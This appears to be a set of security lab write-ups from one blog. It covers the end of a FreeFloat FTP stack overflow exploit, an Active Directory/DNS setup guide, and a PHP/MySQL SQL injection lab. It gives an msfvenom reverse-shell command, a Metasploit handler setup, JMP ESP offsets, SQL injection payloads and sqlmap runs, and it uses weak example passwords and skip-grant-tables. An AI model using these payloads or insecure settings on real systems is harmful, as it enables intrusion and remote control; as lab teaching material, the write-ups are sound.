We need to identify the executable module, where the EIP will be pointing, that is with the help of JMP ESP

Step 5 (Finding JMP ESP)

EIP holds the address of the next instruction to be executed. That means in order for our shellcode to be executed concurrently with the overflow happening, we need to make sure that the EIP points to the location in memory where our shellcode will be located, it can be any module that executes JMP ESP.

1. Click on the Disassembly window, in the left upper location

  • Search for -> All Commands in all modules

2. Search for JMP ESP

3. We are presented with multiple modules and the Disassembly instruction. I’d choose one of those “SEHLL32.dll”, 7CB32F34. Remember, we need an address that does not contain bad characters.

4. We can run mona script to see if the “SHELL32” is ASLR protected (dynamic code execution)

  • !mona modules
  • Locate the .dll, in this case “SHELL32”, which has ASLR = False

5. We can verify our selection (“SHELL32.dll”, 7CB32F34) with mona. In kali run nasm_shell.rb and get the output in our case FFE4 (opcode of JMP ESP)

  • /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
  • Jmp esp

6. In mona we can search using he opcode returned by nasm_shell.rb, the hex code equivalent of JMP ESP is FFE4

  • !mona find -s "\xFF\xE4" -m SHELL32.dll

7. Now that we know the target 7CB32F34, we should verify that we have successfully changed the execution flow to make the EIP execute the JMP ESP instruction within the SHELL32.dll. We will do this by overwriting EIP with the memory address of the JMP ESP instruction and then, once again, writing C’s thereafter. We will use the script BoF Freefloat-6.py to do this.

8. After successful execution of the script, we can check the stack data between the As and Cs we see the execution of SHELL32

9. At this point we control the following

  • Buffer space: 230 bytes
  • EIP: buffer space + 4 bytes (JMP ESP 0x7CB32F34)
  • Identified all bad characters (\x00\x0a\x0d)
  • Got successful execution of SHELL32.dll

Step 6 (Generating the exploit in Shellcode)

1. The last thing we need to do is generate our shellcode and add it to the Python script. To do this we need msfvenom

-a = architecture

-b = Specify bad characters

-f = Format

-v = set variable name

  • msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=192.168.0.20 LPORT=4444 -b '\x00\x0A\x0D' -v shellcode -f c

2. For this final stage we will use the script BoF-Freefloat-7.py, We have added the shellcode, we are sending the data as follows

https://github.com/vry4n/BoF-FreeFloat-FTP/blob/main/BoF-Freefloat-7.py

  • Junk = 230
  • JMP ESP = 7CB32F34
  • NOPs = "\x90" * 32
  • Shellcode

Our exploit should look like this

3. Before we execute our code, we need to start a Metasploit listener

  • sudo msfdb init
  • msfconsole
  • use exploit/multi/handler
  • set payload windows/shell_reverse_tcp
  • set LHOST 192.168.0.20

4. At this point we are all set with the exploit, and also, have a listener on the attacking machine. Lets run the script and see if we get a reverse shell.

5. Now we can run system commands

  • systeminfo

Recommendations

  • Applications should avoid standard library functions that are not bounds-checked, such as gets, scanf and strcpy.

preventing buffer overflow

  • Practices should include regular testing to detect and fix buffer overflows. Running Static Code Analysis that is an essential part of the code review
  • Using of Safe Libraries that help preventing buffer overflows by replacing the legitimate vulnerable function to implement bounds-checked replacements to standard memory and string functions
  • Implementing the Address space layout randomization (ASLR), a technique that randomly arranges the address space positions of principal data areas used by a process.
  • Implementing Stack-smashing Protection (SSP), a compiler feature that helps detecting stack buffer overrun by aborting if specific value, also dubbed stack canary, on the stack is modified
  • Keep the software updated

 

Active Directory & DNS Lab

This time we will configure basic AD and DNS functionality. The terms object, organizational unit, domain, tree, and forest are used to describe the way Active Directory organizes its directory data. Like all directories, Active Directory is essentially a database management system. The Active Directory database is where the individual objects tracked by the directory are stored. Active Directory uses a hierarchical database model, which groups items in a tree-like structure

Objects

  • The basic unit of data in Active Directory is called an object. Active Directory can store information about many different kinds of objects. The objects you work with most are users, groups, computers, and printers.

Domains

  • A domain is the basic unit for grouping related objects in Active Directory. Typically, domains correspond to departments in a company. For example, a company with separate Accounting, Manufacturing, and Sales departments might have domains named (you guessed it) Accounting, Manufacturing, and Sales. Or the domains correspond to geographical locations. For example, a company with offices in Detroit, Dallas, and Denver might have domains named det, dal, and den.
  • if your company is named Nimbus Brooms and you’ve registered NimbusBroom.com as your domain name, you should create a top-level domain named NimbusBroom.com before you create any other domains. Then, you can create subdomains such as Accounting.NimbusBroom.com, Manufacturing.NimbusBroom.com, and Sales.NimbusBroom.com.

image1.jpg

Organizational units

  • Many domains have too many objects to manage all together in a single group. Fortunately, Active Directory lets you create one or more organizational units, also known as OUs. OUs let you organize objects within a domain, without the extra work and inefficiency of creating additional domains.

Trees

  • A tree is a set of Active Directory names that share a common namespace. For example, the domains NimbusBroom.com, Accounting.NimbusBroom.com, Manufacturing.NimbusBroom.com, and Sales.NimbusBroom.com make up a tree that is derived from a common root domain, NimbusBroom.com.

Forests

  • As its name suggests, a forest is a collection of trees. In other words, a forest is a collection of one or more domain trees that do not share a common parent domain.
  • For example, suppose Nimbus Brooms acquires Tracorum Technical Enterprises, which already has its own root domain named TracorumTech.com, with several subdomains of its own. Then, you can create a forest from these two domain trees so the domains can trust each other.

image2.jpg

Networking

Active Directory communications involve a number of ports, some of which are more familiar to network and security administrators than others.

  • RPC endpoint mapper: port 135 TCP, UDP
  • NetBIOS name service: port 137 TCP, UDP
  • NetBIOS datagram service: port 138 UDP
  • NetBIOS session service: port 139 TCP
  • SMB over IP (Microsoft-DS): port 445 TCP, UDP
  • LDAP: port 389 TCP, UDP
  • LDAP over SSL: port 636 TCP
  • Global catalog LDAP: port 3268 TCP
  • Global catalog LDAP over SSL: port 3269 TCP
  • Kerberos: port 88 TCP, UDP
  • DNS: port 53 TCP, UDP
  • WINS resolution: port 1512 TCP, UDP
  • WINS replication: 42 TCP, UDP
  • RPC: Dynamically-assigned ports TCP, unless restricted

AD Replication

The ports that need to be open to facilitate cross-firewall AD replication differ, depending on the versions of Microsoft Windows in your environment.

  • RPC endpoint mapper: port 135 TCP
  • LDAP: port 389 TCP, UDP
  • LDAP over SSL: port 636 TCP
  • Global catalog LDAP: port 3268 TCP
  • Global catalog LDAP over SSL: port 3269 TCP
  • DNS: port 53 TCP, UDP
  • Kerberos: port 88 TCP, UDP
  • SMB over IP (Microsoft-DS): port 445 TCP
  • RPC: Dynamically-assigned ports TCP, unless restricted

Authentication to AD

AD uses the following ports to support user and computer authentication

  • SMB over IP (Microsoft-DS): port 445 TCP, UDP
  • Kerberos: port 88 TCP, UDP
  • LDAP: port 389 UDP
  • DNS: port 53 TCP, UDP
  • RPC: Dynamically-assigned ports TCP, unless restricted

Install Active Directory

Use the following steps to install Active Directory on the server:

1. Open the Server Manager from the task bar.

2. From the Server Manager dashboard, select Add roles and features.

3. On the Installation Type screen, select Role-based or features-based and click Next.

4. By default, the current server is selected. Click Next.

5. On the Server Roles screen, select the check box next to Active Directory Domain Services.

6. To select additional capabilities, click Add Features.

7. Review the information on the AD DS tab, then click Next.

8. Review the information on the Confirm installation selections screen, then click Install.

Assign a static IP address

1. Go to Settings -> Network & Internet -> Change adapter options

2. Select the network interface

3. Properties

4. Select “Internet Protocol Version 4 (TCP/IPv4)” -> Properties

5. Select “Use the following IP address”, and, fill the blanks, then click OK

Start the Remote Registry Service & Netlogon

Before you can promote the server to domain controller, you must start the remote registry service by using the following steps:

1. Server Manager -> Tools

2. Services

3. Look for remote registry service.

4. Right click, Start

5. Do the same for Netlogon

Post-Deployment

1. Complete Post-Deployment steps to promote the server to a domain controller

2. From the Deployment Configuration tab, select Add a new forest. Enter your root domain name in the Root domain name field and click Next.

3. Select a Domain and a Forest functional level.

4. Enter a password for Directory Services Restore Mode (DSRM) in the Password field. In this case Admin13579. Click next

5. Uncheck DNS if you’re not using this server as a DNS (optional)

6. Confirm or enter a NetBIOS name and click Next.

7. Specify the locations of the Database, Log files, and SYSVOL folders, then click Next

8. Review the configuration options and click Next.

9. If this is a fresh install, we will get a warning indicating that the user Administrator password needs to be set

10. To set the user Administrator password

  • Server Manager -> Computer Management -> Local Users and Groups -> Users
  • Select the user -> Right click it -> Set Password
  • New Password: Admin.1

11. Now do the tests again and click on install

12. Create a new user

  • Go to Server Manager -> Tools -> Active Directory Users and Computers -> Users
  • Create a new user in the current container
  • User logon name: test-user
  • next

Now set a password

  • Password: Password1

13. Confirm the account creation

Add DNS capabilities

Use the following steps to install DNS on the server:

1. Open the Server Manager from the task bar.

2. From the Server Manager dashboard, select Add roles and features.

3. On the Installation Type screen, select Role-based or features-based and click Next.

4. By default, the current server is selected. Click Next.

5. On the Server Roles screen, select the check box next to DNS Server.

6. To select additional capabilities, click Add Features.

7. Review the information on the Confirm installation selections screen, then click Install.

Configure DNS

1. Go to Server Management -> Tools -> DNS

2. There should be a domain server

3. Expand the option, and there you should already see a Zone for the domain created under “Forward Lookup Zones”

4. Create a “Reverse Lookup Zone” -> New Zone

  • Select “Primary Zone” and check “Store the zone in Active Directory”

5. Select the type of zone data to be replicated, in this case I’ll choose

  • To all DNS servers running on domain controllers in this domain: vk9-sec.com

6. After clicking on next, we need to select the type of Reverse Lookup Zone, I’ll choose IPv4

7. Next step, is to select the network ID which are the first 3 octets of the network

  • 192.168.0

8. Now, On Dynamic Update I’ll select

  • Allow only secure dynamic updates

9. Confirm the information and then finish

10. Now we will see the Reverse Lookup Zone already created

11. Now create an associated pointer record based on the DNS server address

  • Go to Forwards Lookup Zones -> domain
  • Select the A record -> Properties
  • Check the box “Update associated pointer (PTR) record

12. Now, confirm the PTR has been added to “Reverse Lookup Zones”

  • Go to “Reverse Lookup Zones” -> entry we created
  • Refresh

13. Now set the DNS on the hosts to point to the AD DS server

Join a Windows 10 PC to active directory

1. Assign manual DNS

  • Go to Settings -> Network & Internet -> Change adapter options
  • Select the network interface
  • Properties
  • Select “Internet Protocol Version 4 (TCP/IPv4)” -> Properties
  • Select “Use the following DNS server addresses”, and, fill the blanks, then click OK

2. Attempt to resolve the DNS server address in Cmd from the remote client

  • nslookup 192.168.0.4

3. In the Client machine go to Settings -> System -> About

2. Click on “Join a domain”. In this case I use the one I created, VK9-SEC

3. Use an account that is part of domain controller, in this case I would use server-user

4. Now that the account has been confirmed, type the name of the user that will have access to this PC, I will use the user test-user and will give administrator access

5. Restart the computer

6. Upon restart, you will be prompted to log in using the AD credentials

7. Probably you’ll be asked to change the password, and then you’ll be able to log in

8. Run in CMD whoami

  • whoami

9. In the server in Active Directory Users & Groups you will see the computer listed after a refresh

  • Go to Computers

 

PHP, HTML & MySQL lab (SQL Injection)

This document is intended to help understand what happens by PHP back-end processing of SQL queries, how to test SQL injections and how to secure code. Our goals here are the following

  • Building MySQL database
  • Create a PHP scripts to access & query the database
  • HTML code as front-end
  • Test SQL injection
  • Secure the script

I also share the source code in my GitHub repository, so, let’s get started.

https://github.com/vry4n/esqiuelai

Building MySQL database

1. Start the database

  • sudo service mysql start
  • sudo service mysql status
  • sudo mysql -u root -p
  • <sql password> toor

2. Build a database

We will have vk9_db database with vk9_users & vk9_country tables

  • Database: vk9_database
  • Table: vk9_users
  • Table: vk9_country

3. Create the database named vk9_db

  • show databases;
  • CREATE DATABASE vk9_db;
  • show databases;

The database was added successfully and now showing

4. Select the database

  • USE vk9_db;

5. Create the tables

Users

  • CREATE TABLE users (id INT, full_name varchar(12), created_at TIMESTAMP, country_code INT);

Country

  • CREATE TABLE country (code INT, name varchar(5), continent_name VARCHAR(15));
  • show tables;

6. See the description of the results

  • DESCRIBE users;
  • DESCRIBE country;

7. Add data to this database

Users

id: 1

full_name: Vry4n

country_code: 506

  • INSERT INTO users (id, full_name, country_code) VALUES (1, 'Vry4n', 506);

id: 2

full_name: Itachi

country_code: 81

  • INSERT INTO users (id, full_name, country_code) VALUES (2, 'Itachi', 81);

id: 3

full_name: Cristiano

country_code: 351

  • INSERT INTO users (id, full_name, country_code) VALUES (3, 'Cristano', 351);

Show the users table

  • SELECT * FROM users;

Country

code: 506

name: Costa Rica

continent_name: America

  • INSERT INTO country (code, name, continent_name) VALUES (506, 'CR', 'America');

code: 81

name: Japan

continent_name: Asia

  • INSERT INTO country (code, name, continent_name) VALUES (81, 'JP', 'Asia');

code: 351

name: Portugal

continent_name: Europe

  • INSERT INTO country (code, name, continent_name) VALUES (351, 'PT', 'Europe');

Show the country table

  • SELECT * FROM country;

We are done with the database set up. The final step is to allow access to mysql from the script

1. edit the /etc/mysql/my.cnf add the following lines

  • [mysqld]
  • skip-grant-tables

  • vi /etc/mysql/my.cnf
  • sudo service mysql restart

2. Sometimes the password has to be set

  • flush privileges;
  • ALTER USER 'root'@'localhost' IDENTIFIED BY 'toor';

Create a PHP script to access & query the database

This is divided into 2 steps

  • Create a connection file
  • Create the engine to query the database

Create a connection file

1. We will use the function mysqli to connect to the database. We will save this PHP script as vk9-db-connect.php.

2. Run it to test. No errors exit code 0

Security Recommendation

Make sure that only administrators have access to this file.

Create the engine to query the database

1. This other script is in charge of running the query and returning the results. The name of the file is going to be main-script.php

HTML code as front-end

1. This script just displays the query box, then send the value to main-script.php to proceed with the query, this file is named as index.html

2. This is the view of the site

Note

All these files have been placed into the same directory within /var/www/html/esqiuelai

Highlights of this script

  • Really basic
  • No client, nor, server side validation
  • Input not sanitized in any way
  • Open to any SQL injection technique

Test SQL injection

Now you can start testing this against SQLi, I will share a quick demo here, however, if you want to know more about SQL injection visit the links below

https://vk9-sec.com/basics-of-sql-injection/

https://vk9-sec.com/advanced-sql-injection-union-based

https://vk9-sec.com/blind-sql-injection/

https://vk9-sec.com/sqlmap-how-to/

we will work with the current query we have built

  • SELECT id, full_name FROM users WHERE id LIKE '$id'

Demo

1. Use the application normally, enter a number to display its associated user id info. Since, this is GET it will show in the browser

  • 1
  • SELECT id, full_name FROM users WHERE id LIKE '1'

2. Try to generate an error, this time we can see an error that means this is vulnerable to SQL injection

  • Single quote = ‘
  • SELECT id, full_name FROM users WHERE id LIKE '''

3. Try to run Boolean conditions, this print all the values as 1 will always be equals 1

  • 1’ or ‘1’=’1
  • SELECT id, full_name FROM users WHERE id LIKE '1' or '1'='1'

4. Using sqlmap to exploit this vulnerability

  • sqlmap -u "http://localhost/esqiuelai/main-script.php?id=1"

Secure the script

To secure this script you can use the following functions

We need to pass the GET request with the values submitted by the user to those functions, we place them here

SQLmap test

Even using sqlmap it fails to inject into this query

  • sqlmap -u "http://localhost/esqiuelai/main-script.php?id=1"